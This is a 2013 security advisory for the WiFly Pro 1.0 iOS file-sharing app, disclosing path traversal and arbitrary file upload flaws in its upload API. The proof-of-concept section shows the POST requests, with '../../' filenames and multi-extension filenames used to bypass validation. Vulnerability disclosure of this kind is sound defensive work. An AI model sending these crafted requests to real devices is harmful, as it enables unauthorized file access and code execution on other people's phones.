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WiFly 1.0 Pro iOS - Multiple Web Vulnerabilities

Title:
======
WiFly 1.0 Pro iOS - Multiple Web Vulnerabilities


Date:
=====
2013-07-15


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1011


VL-ID:
=====
1011


Common Vulnerability Scoring System:
====================================
6.3


Introduction:
=============
It is the best solution for transferring photos, songs, documents, movies and 
other files between computer 
and your mobile devices over wireless network. Simply launch application on 
your iOS device and scan QR 
code from http://wifly.me to connect your phone. Drop your files into opened 
page and vice versa!
No cloud or internet access required - no data leaves your local network. Both 
your devices must have access 
to the same LAN or WLAN - no additional network configurations needed. 
Transferred documents can be opened with 
any supported App on your iOS device.

Capabilities:

- Multiple uploads

- Easily Drag & Drop multiple files to WiFly

- Preview pictures in the browser
- Downloading the entire folder to your computer

- Browsing files and folders directly on mobile device

- Exchange files between mobile devices
- Built in preview of images, documents, music and video files

(Copy of the Homepage: https://itunes.apple.com/us/app/wifly-pro/id641092695 )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities 
in the WiFly 1.0 Pro application (Apple iOS - iPad & iPhone).


Report-Timeline:
================
2013-07-15:    Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Affected Products:
==================
Apple AppStore
Product: WiFly Pro 1.0


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A local file include and arbitrary file upload web vulnerability is detected in 
the WiFly 1.0 Pro application (Apple iOS - iPad & iPhone).

The vulnerabilities are located in the file upload module of the web-server 
(http://localhost:4885/) when processing 
to request via POST a manipulated filename. The injected file will be 
accessable via the index listing module of the application.  

Remote attackers can exchange the filename with a double or tripple extension 
via POST method to bypass the upload validation and filter process. 
After the upload the attacker access the file with one extension and exchange 
it with the other one to execute for example php, js, html codes.

The filter in the application itself disallow to rename a file with special 
chars because of a input field restriction. Attackers need to request 
2 different urls. First the file as url with a parameter of the filename inside 
to display and as secound step the file will be uploaded with 
the manipulated filename in the POST request.

Exploitation of the vulnerability requires no user interaction but the victim 
iOS device needs to accept the other device connection.
Successful exploitation of the vulnerability results in unauthorized path or 
file access via local file include or arbitrary file upload.

Vulnerable Application(s):
                                [+] WiFly Pro 1.0 - ITunes or AppStore (Apple)

Vulnerable Module(s):
                                [+] Upload

Vulnerable File(s):
                                [+] upload.json & add

Vulnerable Parameter(s):
                                [+] filename

Affected Module(s):
                                [+] Index Listing (http://localhost:4885/)


Proof of Concept:
=================
The local file/path include and arbitrary file upload vulnerability can be 
exploited by remote attackers without user interaction 
but the connection needs to be accepted by the target system. For demonstration 
or reproduce ...

Standard Request:
Content-Disposition: form-data; name="files[]"; 
filename="s2.png"\r\nContent-Type: image/png\r\n\r\n?PNG\r\n\n

Status: 200 
POST 
http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&last_modified=1331091664536000&name=new-image23.png&sessionid=1373658611109
 
Load Flags[LOAD_BYPASS_CACHE  ] Content Size[118] Mime 
Type[application/x-unknown-content-type]
   


PoC: 1.1 - File/Path Include Vulnerability
POST http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&;
last_modified=1331091664536000&name=../../[File/Path Include 
Vulnerability!].png&sessionid=1373658611109 
POST_DATA[-----------------------------27213192708057
Content-Disposition: form-data; name="files[]"; filename="../../[File/Path 
Include Vulnerability!]"
Content-Type: image/png


PoC: 1.2 - Arbitrary File Upload Vulnerability
POST http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&;
last_modified=1331091664536000&name=[Arbitrary File Upload 
Vulnerability!].png.gif.html.php.js&sessionid=1373658611109 
POST_DATA[-----------------------------27213192708057
Content-Disposition: form-data; name="files[]"; filename="[Arbitrary File 
Upload Vulnerability!].png.gif.html.php.js"
Content-Type: image/png


Solution:
=========
The vulnerability can be patched by a restriction of the json upload request 
and url parameter.
The POST request when processing to upload needs to be restricted, encoded and 
filtered.


Risk:
=====
The security risk of the local file/path include & arbitrary file upload 
vulnerability is estimated as high.


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(bkm@xxxxxxxxxxxxxxxxx)


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===========
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